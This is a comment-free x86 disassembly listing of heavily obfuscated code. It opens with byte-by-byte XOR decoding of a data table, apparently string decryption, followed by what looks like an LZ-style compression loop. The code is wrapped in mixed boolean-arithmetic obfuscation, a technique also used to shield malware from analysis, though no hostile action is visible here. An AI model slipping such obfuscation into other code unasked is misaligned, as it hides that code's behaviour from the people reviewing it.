xor al, 0x85
mov byte [0x47b45c], al
mov al, byte [0x47b25d]
mov cl, al
xor cl, 0x4f
xor cl, 0xff
and cl, 0x4f
shl cl, 1
sub cl, 0x4f
mov ah, al
sub ah, cl
mov cl, ah
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub ah, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
xor dl, 0xff
and dl, 0x4f
shl dl, 1
mov cl, dl
xor cl, 0x4f
and dl, 0xb0
shl dl, 1
sub dl, cl
sub al, dl
mov byte [0x47b45d], al
mov al, byte [0x47b25e]
xor al, 0x30
mov byte [0x47b45e], al
mov al, byte [0x47b25f]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0xb1
xor dl, 0xff
xor al, 0xff
and al, 0xb1
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47b45f], dl
mov al, byte [0x47b260]
mov cl, al
xor cl, 0xfd
xor cl, 0xff
and cl, 0xfd
shl cl, 1
sub cl, 0xfd
mov ah, al
sub ah, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
and dl, 0xfd
shl dl, 1
mov cl, dl
xor cl, 0xff
and cl, 0xfd
and dl, 2
sub dl, cl
sub al, dl
mov byte [0x47b460], al
mov al, byte [0x47b261]
mov cl, al
xor cl, 0x76
xor cl, 0xff
and cl, 0x76
shl cl, 1
sub cl, 0x76
sub al, cl
mov byte [0x47b461], al
mov al, byte [0x47b262]
xor al, 0xa7
mov byte [0x47b462], al
mov al, byte [0x47b263]
mov cl, al
xor cl, 0xff
xor cl, 0xff
xor cl, 0x28
and cl, 0x28
and al, 0xd7
mov dl, cl
and dl, al
xor cl, al
or dl, cl
xor dl, 0x3d
mov byte [0x47b463], dl
mov al, byte [0x47b264]
xor al, 0xf0
mov byte [0x47b464], al
mov al, byte [0x47b265]
xor al, 0x13
mov byte [0x47b465], al
mov al, byte [0x47b266]
xor al, 0x50
mov byte [0x47b466], al
mov al, byte [0x47b267]
xor al, 0xb3
mov byte [0x47b467], al
mov al, byte [0x47b268]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 0xea
add dl, cl
shl dl, 1
add al, 0xff
add al, 0xea
sub al, 0xff
xor dl, 0xff
add al, dl
add al, 1
mov byte [0x47b468], al
mov al, byte [0x47b269]
mov cl, al
xor cl, 0xff
and cl, 0x5a
and al, 0xa5
mov dl, al
and dl, cl
xor dl, 0xff
add cl, al
add cl, 1
add cl, dl
mov byte [0x47b469], cl
mov bl, byte [0x47b26a]
mov dl, bl
and dl, 0x85
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
xor edx, edx
sub dl, bl
add dl, 0x7b
xor ecx, ecx
sub cl, dl
sub cl, al
mov byte [0x47b46a], cl
mov al, byte [0x47b26b]
mov dl, al
xor dl, 0xff
and dl, 0xfe
mov cl, al
and cl, 1
or dl, cl
xor dl, 0xff
and dl, 0xfe
shl dl, 1
add dl, 0x98
sub dl, 0xfe
sub dl, 0x98
sub al, dl
mov byte [0x47b46b], al
mov al, byte [0x47b26c]
xor al, 0x88
mov byte [0x47b46c], al
mov al, byte [0x47b26d]
xor al, 0x29
mov byte [0x47b46d], al
mov al, byte [0x47b26e]
xor al, 0xbc
mov byte [0x47b46e], al
mov al, byte [0x47b26f]
xor al, 4
mov byte [0x47b46f], al
jmp 0x420305
mov dword [0x47e5b4], 1
push eax
mov dword [ebp - 0x50], esp
push eax
mov ebx, esp
push eax
mov edi, esp
push eax
mov edx, esp
push eax
mov ecx, esp
push eax
mov dword [ebp - 0x14], esp
push eax
mov esi, esp
push eax
mov dword [ebp - 0x20], esp
push eax
mov dword [ebp - 0x1c], esp
push eax
mov dword [ebp - 0x3c], esp
push eax
mov dword [ebp - 0x88], esp
push eax
mov dword [ebp - 0x4c], esp
push eax
mov dword [ebp - 0x38], esp
push eax
mov dword [ebp - 0x34], esp
push eax
mov dword [ebp - 0x24], esp
push eax
mov dword [ebp - 0x48], esp
push eax
mov dword [ebp - 0x28], esp
push eax
mov dword [ebp - 0x60], esp
push eax
mov dword [ebp - 0x44], esp
push eax
mov dword [ebp - 0x84], esp
push eax
mov dword [ebp - 0x5c], esp
push eax
mov dword [ebp - 0x80], esp
push eax
mov dword [ebp - 0x58], esp
push eax
mov dword [ebp - 0x54], esp
push eax
mov dword [ebp - 0x7c], esp
push eax
mov dword [ebp - 0x78], esp
push eax
mov dword [ebp - 0x70], esp
push eax
mov dword [ebp - 0x6c], esp
push eax
mov dword [ebp - 0x68], esp
mov eax, dword [ebp - 0x8c]
mov dword [ebx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x1c]
mov dword [edi], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x10], edx
mov dword [edx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x18], ecx
mov dword [ecx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x3c]
mov edx, dword [ebp - 0x14]
mov dword [edx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x2c], esi
mov dword [esi], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebx]
mov eax, dword [eax + 0x28]
mov dword [ecx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x2c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, edi
mov edi, eax
mov eax, dword [eax]
mov ecx, eax
and ecx, 0x7fff
xor ecx, 0xffffffff
and eax, 0x7fff
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
shl edx, 1
sub edx, 0xffffffff
sub ecx, edx
mov edx, eax
xor edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
shl edx, 1
sub edx, 0xffffffff
sub eax, edx
or ecx, eax
mov eax, dword [ebp - 0x3c]
mov dword [eax], ecx
mov dword [ebp - 0x30], edi
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x2c]
jmp 0x420426
mov ecx, dword [ebx]
mov al, 1
cmp dword [ecx + 0x88], 0
jne 0x42044d
mov ecx, dword [ebx]
xor eax, eax
cmp dword [ecx + 0x80], 0
je 0x420449
mov eax, dword [ebp - 0x10]
cmp dword [eax], 0
setne al
jmp 0x42044b
jmp 0x42044d
test al, 1
jne 0x420456
jmp 0x421019
mov eax, dword [ebp - 0x88]
mov dword [eax], 0x1000
mov esi, edi
mov eax, dword [edi]
mov edi, dword [ebp - 0x10]
mov ecx, dword [edi]
mov edx, eax
and edx, ecx
shl edx, 1
xor eax, ecx
add eax, edx
mov ecx, eax
xor ecx, 0xffffffff
or ecx, 0xffff8000
and eax, 0x7fff
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, dword [ebp - 0x4c]
mov dword [eax], ecx
mov eax, dword [ebx]
mov eax, dword [eax + 0x88]
mov ecx, 0x1000
sub ecx, dword [edi]
cmp eax, ecx
jae 0x4204b3
mov eax, dword [ebx]
mov eax, dword [eax + 0x88]
jmp 0x4204da
jmp 0x4204b5
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or eax, 0
xor eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
add eax, 0x1000
add eax, 1
jmp 0x4204da
mov edi, dword [ebp - 0x38]
mov dword [edi], eax
mov eax, dword [edi]
mov ecx, dword [ebx]
mov edx, dword [ecx + 0x88]
sub edx, 0x59177b86
sub edx, eax
sub edx, 0xa6e8847a
mov dword [ecx + 0x88], edx
mov eax, dword [edi]
mov edi, dword [ebp - 0x10]
mov ecx, dword [edi]
xor edx, edx
sub edx, eax
sub ecx, edx
mov dword [edi], ecx
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x14]
mov edi, esi
mov esi, eax
mov dword [ebp - 0x40], ebx
jmp 0x42051b
mov eax, dword [ebp - 0x38]
cmp dword [eax], 0
setne al
test al, 1
jne 0x42052d
jmp 0x42069d
mov eax, 0x8000
mov edi, dword [ebp - 0x4c]
sub eax, dword [edi]
mov ecx, dword [ebp - 0x38]
cmp eax, dword [ecx]
jae 0x420549
jmp 0x420540
mov eax, 0x8000
sub eax, dword [edi]
jmp 0x420552
jmp 0x42054b
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
jmp 0x420552
mov edx, dword [ebp - 0x34]
mov dword [edx], eax
mov eax, dword [ebx]
add eax, 0x90
add eax, dword [edi]
mov ecx, dword [ebx]
mov ecx, dword [ecx + 0x84]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
call fcn.00457e38
add esp, 0xc
cmp dword [edi], 0x101
setb al
test al, 1
jne 0x42058f
jmp 0x4205f2
mov eax, dword [ebx]
add eax, 0x90
add eax, 0x8000
add eax, dword [edi]
mov ecx, dword [ebx]
mov ecx, dword [ecx + 0x84]
mov edx, dword [ebp - 0x34]
mov edx, dword [edx]
mov esi, 0x101
sub esi, dword [edi]
cmp edx, esi
jae 0x4205c1
jmp 0x4205b7
mov edx, dword [ebp - 0x34]
mov edx, dword [edx]
mov edi, dword [ebp - 0x4c]
jmp 0x4205dc
mov esi, dword [edi]
mov edx, 0x1c44077e
sub edx, esi
add edx, 0xc30bcb68
add edx, 0xe3bbf983
sub edx, 0xc30bcb68
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
call fcn.00457e38
add esp, 0xc
jmp 0x4205f4
mov edx, dword [ebp - 0x34]
mov eax, dword [edx]
mov ecx, dword [ebx]
add eax, dword [ecx + 0x84]
mov dword [ecx + 0x84], eax
mov eax, dword [edi]
add eax, dword [edx]
mov edx, eax
add edx, 1
mov ecx, eax
xor ecx, 0xffffffff
or ecx, 0x7fff
add ecx, edx
xor ecx, 0xffffffff
and eax, 0x7fff
mov edx, eax
and edx, 0xffffffff
shl edx, 1
add eax, 0xffffffff
sub eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
mov esi, eax
xor esi, 0xffffffff
mov ebx, edx
and ebx, 0x2b452806
and ecx, 0xd4bad7f9
mov edi, esi
and edi, 0x2b452806
and eax, 0xd4bad7f9
or ebx, ecx
or edi, eax
xor ebx, edi
or edx, esi
xor edx, 0xffffffff
and edx, 0xffffffff
or ebx, edx
mov eax, dword [ebp - 0x4c]
mov dword [eax], ebx
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov edi, dword [ebp - 0x38]
mov ecx, dword [edi]
mov edx, ecx
xor edx, eax
xor eax, 0xffffffff
and ecx, eax
shl ecx, 1
sub ecx, edx
mov dword [edi], ecx
mov ebx, dword [ebp - 0x40]
mov edi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x14]
jmp 0x420519
jmp 0x42069f
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov ecx, 0x44d8e9a7
sub ecx, eax
sub ecx, 0x44d869a7
mov eax, dword [ebp - 0x18]
cmp ecx, dword [eax]
setb al
test al, 1
jne 0x4206bf
jmp 0x4206ce
mov eax, 0x8000
mov ecx, dword [ebp - 0x10]
sub eax, dword [ecx]
mov ecx, dword [ebp - 0x18]
jmp 0x4206d3
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx]
mov dword [ecx], eax
mov eax, dword [ebx]
cmp dword [eax + 0x80], 0
jne 0x4206f9
mov eax, dword [ebp - 0x10]
cmp dword [eax], 0x1000
jae 0x4206f9
mov eax, dword [ebp - 0x24]
mov dword [eax], 3
jmp 0x421005
jmp 0x4206fb
jmp 0x4206fd
jmp 0x4206ff
mov eax, dword [ebp - 0x10]
cmp dword [eax], 4
jb 0x420e0c
mov eax, dword [ebp - 0x28]
mov dword [eax], 1
mov eax, dword [ebx]
add eax, 0x90
mov ecx, dword [ebp - 0x3c]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov ecx, dword [ecx]
call fcn.00438418
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xffffff
add eax, ecx
mov edx, dword [ebp - 0x44]
mov dword [edx], eax
mov ecx, dword [edx]
mov eax, dword [edx]
shr eax, 0x11
xor ecx, eax
mov edx, ecx
xor edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
shl edx, 1
sub edx, 0xffffffff
mov eax, ecx
sub eax, edx
or eax, 0xfffff000
mov edx, ecx
xor edx, 0xfffff000
and edx, ecx
xor edx, 0xffffffff
mov ecx, eax
xor ecx, edx
xor ecx, 0xffffffff
or eax, edx
and eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
shl ecx, 1
sub ecx, 0xffffffff
sub eax, ecx
mov edx, dword [ebp - 0x84]
mov dword [edx], eax
mov eax, dword [ebx]
mov ecx, dword [edx]
movzx eax, word [eax + ecx*2 + 0x29272]
mov esi, dword [ebp - 0x5c]
mov dword [esi], eax
mov eax, dword [edi]
mov ecx, dword [ebx]
mov edx, dword [edx]
mov word [ecx + edx*2 + 0x29272], ax
mov eax, dword [edi]
mov ebx, dword [esi]
mov ecx, eax
xor ecx, ebx
xor ecx, 0xffffffff
mov edx, ebx
and edx, ecx
shl edx, 1
sub edx, ebx
mov ecx, eax
sub ecx, edx
mov edx, ebx
xor edx, 0xffffffff
xor ebx, 0xffffffff
and edx, ebx
mov edi, dword [ebp - 0x40]
or edx, 0
xor edx, 0xffffffff
or edx, 0
xor edx, 0xffffffff
mov esi, eax
xor esi, edx
xor esi, 0xffffffff
or eax, edx
and eax, esi
shl eax, 1
sub eax, 0x2b320400
sub eax, ecx
add eax, 0x2b320400
movzx eax, ax
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x18]
cmp eax, dword [ecx]
ja 0x420b76
jmp 0x42081b
mov ecx, dword [edi]
add ecx, 0x90
mov edi, dword [ebp - 0x5c]
mov esi, dword [edi]
mov eax, esi
xor eax, 0xffffffff
mov edx, esi
xor edx, 0xffffffff
xor esi, 0xffffffff
or edx, esi
and edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
xor edx, 0xffffffff
mov esi, eax
xor esi, edx
xor esi, 0xffffffff
or eax, edx
and eax, esi
xor eax, 0xffffffff
and eax, 0x7fff
mov dword [edi], eax
add ecx, eax
call fcn.00438418
or eax, eax
xor eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffff
mov ecx, dword [ebp - 0x44]
cmp eax, dword [ecx]
sete al
test al, 1
mov edi, dword [ebp - 0x40]
jne 0x420880
jmp 0x420b76
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov ebx, dword [ebp - 0x80]
mov dword [ebx], eax
mov eax, dword [edi]
add eax, 0x90
mov ecx, dword [ebp - 0x5c]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
mov dword [eax], 0x20
jmp 0x4208a6
mov ecx, dword [ebx]
add ecx, 2
mov dword [ebx], ecx
call fcn.00438438
movzx esi, ax
mov edi, dword [ebp - 0x58]
mov ecx, dword [edi]
add ecx, 2
mov dword [edi], ecx
call fcn.00438438
movzx ecx, ax
xor eax, eax
cmp esi, ecx
jne 0x42095f
mov ecx, dword [ebx]
add ecx, 2
mov dword [ebx], ecx
call fcn.00438438
movzx esi, ax
mov ecx, dword [edi]
add ecx, 2
mov dword [edi], ecx
call fcn.00438438
movzx ecx, ax
xor eax, eax
cmp esi, ecx
jne 0x42095f
mov ecx, dword [ebx]
add ecx, 2
mov dword [ebx], ecx
call fcn.00438438
movzx esi, ax
mov ecx, dword [edi]
add ecx, 2
mov dword [edi], ecx
call fcn.00438438
movzx ecx, ax
xor eax, eax
cmp esi, ecx
jne 0x42095f
mov ecx, dword [ebx]
add ecx, 2
mov dword [ebx], ecx
call fcn.00438438
movzx esi, ax
mov ecx, dword [edi]
add ecx, 2
mov dword [edi], ecx
call fcn.00438438
movzx ecx, ax
xor eax, eax
cmp esi, ecx
jne 0x42095f
jmp 0x42093f
mov edx, dword [ebp - 0x54]
mov eax, dword [edx]
xor ecx, ecx
sub ecx, eax
add ecx, 1
and ecx, 0xffffffff
xor eax, eax
sub eax, ecx
mov dword [edx], eax
cmp eax, 0
seta al
jmp 0x42095f
mov esi, dword [ebp - 0x20]
mov edi, dword [ebp - 0x40]
jmp 0x420967
test al, 1
jne 0x4208a4
jmp 0x420971
jmp 0x420973
mov eax, dword [ebx]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ecx]
sub eax, ecx
sar eax, 1
shl eax, 1
mov ecx, dword [ebx]
movzx ecx, byte [ecx]
mov edx, dword [ebp - 0x58]
mov edx, dword [edx]
movzx edx, byte [edx]
cmp ecx, edx
sete cl
and cl, 1
movzx ecx, cl
add eax, ecx
mov ebx, dword [ebp - 0x28]
mov dword [ebx], eax
mov eax, dword [ebp - 0x54]
cmp dword [eax], 0
setne al
test al, 1
jne 0x4209c3
jmp 0x4209b0
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
mov eax, 0x102
cmp ecx, 0
jne 0x4209c1
xor eax, eax
mov dword [ebx], eax
jmp 0x4209c5
cmp dword [ebx], 3
setb al
test al, 1
jne 0x4209ea
jmp 0x4209d1
jmp 0x4209d3
cmp dword [ebx], 3
sete al
test al, 1
jne 0x4209df
jmp 0x420a36
mov eax, dword [ebp - 0x48]
cmp dword [eax], 0x2000
jb 0x420a36
mov dword [ebx], 1
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
mov ecx, dword [esi]
mov edx, ecx
add edx, 1
mov dword [esi], edx
mov byte [ecx], al
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx]
movzx eax, byte [eax]
shr eax, 1
mov ecx, dword [ecx]
mov byte [ecx], al
mov eax, dword [edi]
mov ecx, dword [ebx]
mov ebx, dword [ebp - 0x28]
movzx ecx, cl
mov dx, word [eax + ecx*2 + 0x8192]
add dx, 0
add dx, 1
mov word [eax + ecx*2 + 0x8192], dx
jmp 0x420b71
mov eax, dword [ebx]
mov ecx, dword [ebp - 0x10]
cmp eax, dword [ecx]
setb al
test al, 1
jne 0x420a46
jmp 0x420a4a
mov eax, dword [ebx]
jmp 0x420a4f
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebx], eax
mov edx, dword [ebp - 0x48]
mov eax, dword [edx]
and eax, 0xffffffff
add eax, 0xffffffff
mov dword [edx], eax
mov eax, dword [ebx]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 3
and eax, 0xfffffffc
sub eax, ecx
mov ecx, dword [esi]
mov byte [ecx], al
mov eax, dword [esi]
mov ecx, dword [edx]
mov dword [eax + 1], ecx
mov eax, dword [esi]
add eax, 3
mov dword [esi], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx]
movzx eax, byte [eax]
shr eax, 1
and eax, eax
xor eax, 0xffffffff
and eax, 0xffffff7f
xor eax, 0xffffffff
mov ecx, dword [ecx]
mov byte [ecx], al
mov eax, dword [edx]
xor eax, 0xffffffff
or eax, 0xfffffe00
xor eax, 0xffffffff
and eax, 0xffffffff
movzx eax, byte [eax + 0x47b270]
mov ecx, dword [ebp - 0x7c]
mov dword [ecx], eax
mov eax, dword [edx]
shr eax, 8
movzx eax, byte [eax + 0x47b8f0]
mov esi, dword [ebp - 0x78]
mov dword [esi], eax
mov eax, dword [edi]
add eax, 0x8192
add eax, 0x240
cmp dword [edx], 0x200
jae 0x420ae2
mov ecx, dword [ecx]
jmp 0x420ae4
mov ecx, dword [esi]
mov dx, word [eax + ecx*2]
add dx, 0xeaf
sub dx, 0xffff
add dx, 0xf151
mov word [eax + ecx*2], dx
mov eax, dword [edi]
mov ecx, dword [ebx]
mov edx, ecx
xor edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
shl edx, 1
sub edx, 0xffffffff
mov esi, ecx
sub esi, edx
and esi, 3
and ecx, 0xfffffffc
mov edx, ecx
xor edx, esi
xor esi, 0xffffffff
and ecx, esi
shl ecx, 1
sub ecx, edx
movzx ecx, word [ecx*2 + 0x47b670]
mov dx, word [eax + ecx*2 + 0x8192]
mov si, dx
xor si, 0x1536
and dx, 0xeac9
shl dx, 1
sub dx, si
add dx, 1
mov si, dx
and si, 0x1536
shl si, 1
xor dx, 0x1536
add dx, si
mov word [eax + ecx*2 + 0x8192], dx
mov esi, dword [ebp - 0x20]
mov edx, dword [ebp - 0x14]
jmp 0x420bc5
mov esi, dword [ebp - 0x44]
mov eax, dword [esi]
mov ebx, dword [ebp - 0x20]
mov ecx, dword [ebx]
mov edx, ecx
add edx, 1
mov dword [ebx], edx
mov byte [ecx], al
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx]
movzx eax, byte [eax]
shr eax, 1
mov ecx, dword [ecx]
mov byte [ecx], al
mov eax, dword [edi]
mov ecx, dword [esi]
movzx ecx, cl
mov dx, word [eax + ecx*2 + 0x8192]
mov si, dx
and si, 1
or dx, 1
add si, dx
mov word [eax + ecx*2 + 0x8192], si
mov esi, ebx
mov ebx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x2c]
mov eax, dword [edi]
xor ecx, ecx
sub ecx, eax
add ecx, 1
xor eax, eax
sub eax, ecx
mov dword [edi], eax
cmp eax, 0
jne 0x420bf0
mov dword [edi], 8
mov eax, dword [esi]
mov ecx, eax
add ecx, 1
mov dword [esi], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
jmp 0x420bf2
mov ebx, dword [ebx]
mov eax, dword [edx]
mov ecx, eax
and ecx, ebx
mov dword [ebp - 0x74], ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edi, ebx
xor edi, 0xffffffff
mov edx, ecx
and edx, 0xa1ff33b0
and eax, 0x5e00cc4f
mov esi, edi
and esi, 0xa1ff33b0
and ebx, 0x5e00cc4f
or edx, eax
or esi, ebx
xor edx, esi
or ecx, edi
xor ecx, 0xffffffff
and ecx, 0xffffffff
or edx, ecx
xor eax, eax
sub eax, edx
mov ecx, dword [ebp - 0x74]
sub ecx, eax
mov eax, dword [ebp - 0x14]
mov dword [eax], ecx
mov edi, dword [ebp - 0x28]
mov eax, dword [edi]
mov esi, dword [ebp - 0x30]
mov ecx, dword [esi]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, eax
add edx, ecx
xor eax, eax
sub eax, edx
mov dword [esi], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [edi]
xor edx, edx
sub edx, ecx
sub eax, edx
cmp eax, 0x8000
setb al
test al, 1
mov ebx, dword [ebp - 0x40]
jne 0x420c78
jmp 0x420c9a
jmp 0x420c7a
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
xor ecx, 0xffffffff
and ecx, 0xffffffff
or ecx, 0
add ecx, 0
add ecx, 1
sub eax, ecx
jmp 0x420ca1
mov eax, 0x8000
jmp 0x420ca1
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov esi, dword [ebp - 0x3c]
mov eax, dword [esi]
mov edi, dword [ebp - 0x28]
mov ecx, dword [edi]
xor edx, edx
sub edx, eax
add edx, 0x9f3a6354
xor eax, eax
sub eax, edx
add eax, ecx
sub eax, 0x60c59cac
mov ecx, eax
xor ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
shl ecx, 1
sub ecx, 0xffffffff
sub eax, ecx
mov ecx, eax
and ecx, 0xffff8000
xor ecx, 0xffffffff
add eax, 0xffff8000
add eax, 1
add eax, ecx
mov ecx, eax
and ecx, 0xffffffff
shl ecx, 1
add eax, 0xffffffff
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov dword [esi], ecx
mov eax, dword [edi]
mov edx, dword [ebp - 0x10]
mov ecx, dword [edx]
sub ecx, eax
mov dword [edx], ecx
mov esi, dword [ebp - 0x20]
mov eax, dword [esi]
mov ecx, dword [ebx]
add ecx, 0x9272
add ecx, 0xfff8
cmp eax, ecx
mov edx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x30]
jbe 0x420df2
mov eax, dword [edi]
mov ecx, dword [ebx]
mov dword [ecx + 0x1c], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x20], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x24], eax
mov eax, dword [edx]
mov ecx, dword [ebx]
mov dword [ecx + 0x3c], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
mov dword [ecx + 0x28], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x2c], eax
mov edi, dword [ebp - 0x2c]
mov eax, dword [edi]
mov ecx, dword [ebx]
mov dword [ecx + 0x38], eax
mov ecx, dword [ebx]
xor edx, edx
call fcn.0042f858
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
cmp eax, 0
je 0x420db7
jmp 0x420d8d
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
xor eax, eax
cmp ecx, 0
mov esi, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x30]
jl 0x420da7
mov eax, 1
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
jmp 0x420de7
mov eax, dword [ebx]
mov eax, dword [eax + 0x3c]
mov edx, dword [ebp - 0x14]
mov dword [edx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x28]
mov dword [esi], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x2c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x38]
mov dword [edi], eax
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
mov esi, edi
mov edi, dword [ebp - 0x30]
cmp dword [eax], 0
jne 0x420dfe
jmp 0x420dee
jmp 0x420df0
jmp 0x420df2
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
mov esi, dword [ebp - 0x2c]
cmp dword [eax], 0
jne 0x421003
jmp 0x4206ff
mov edx, dword [ebp - 0x14]
jmp 0x420e11
mov eax, dword [ebp - 0x10]
cmp dword [eax], 0
je 0x420ff3
mov eax, dword [ebx]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
mov al, byte [eax + ecx + 0x90]
mov ecx, dword [ebp - 0x6c]
mov byte [ecx], al
mov eax, dword [edx]
sub eax, 0xffffffff
mov dword [edx], eax
mov al, byte [ecx]
mov edi, dword [ebp - 0x20]
mov ecx, dword [edi]
mov edx, ecx
add edx, 1
mov dword [edi], edx
mov byte [ecx], al
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx]
movzx eax, byte [eax]
shr eax, 1
mov ecx, dword [ecx]
mov byte [ecx], al
mov eax, dword [esi]
sub eax, 0xe8d2ef6d
sub eax, 1
add eax, 0xe8d2ef6d
mov dword [esi], eax
cmp eax, 0
jne 0x420e83
mov dword [esi], 8
mov edx, dword [ebp - 0x20]
mov eax, dword [edx]
mov ecx, eax
add ecx, 1
mov dword [edx], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov edi, dword [ebp - 0x30]
jmp 0x420e88
mov eax, dword [ebx]
mov ecx, dword [ebp - 0x6c]
movzx ecx, byte [ecx]
mov dx, word [eax + ecx*2 + 0x8192]
sub dx, 0xffff
mov word [eax + ecx*2 + 0x8192], dx
mov eax, dword [edi]
add eax, 1
mov dword [edi], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, eax
and ecx, 1
or eax, 1
mov edx, ecx
and edx, eax
or ecx, eax
add edx, ecx
cmp edx, 0x8000
setb al
test al, 1
jne 0x420ecf
jmp 0x420ed9
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
sub eax, 0xffffffff
jmp 0x420ee0
mov eax, 0x8000
jmp 0x420ee0
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3c]
mov eax, dword [edx]
add eax, 1
mov ecx, eax
xor ecx, 0x7fff
xor ecx, 0xffffffff
or eax, 0x7fff
and eax, ecx
mov dword [edx], eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx]
add eax, 0xffffffff
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebx]
add ecx, 0x9272
add ecx, 0xfff8
cmp eax, ecx
seta al
test al, 1
mov edx, dword [ebp - 0x14]
jne 0x420f2f
jmp 0x420fde
mov eax, dword [edi]
mov ecx, dword [ebx]
mov dword [ecx + 0x1c], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x20], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x24], eax
mov eax, dword [edx]
mov ecx, dword [ebx]
mov dword [ecx + 0x3c], eax
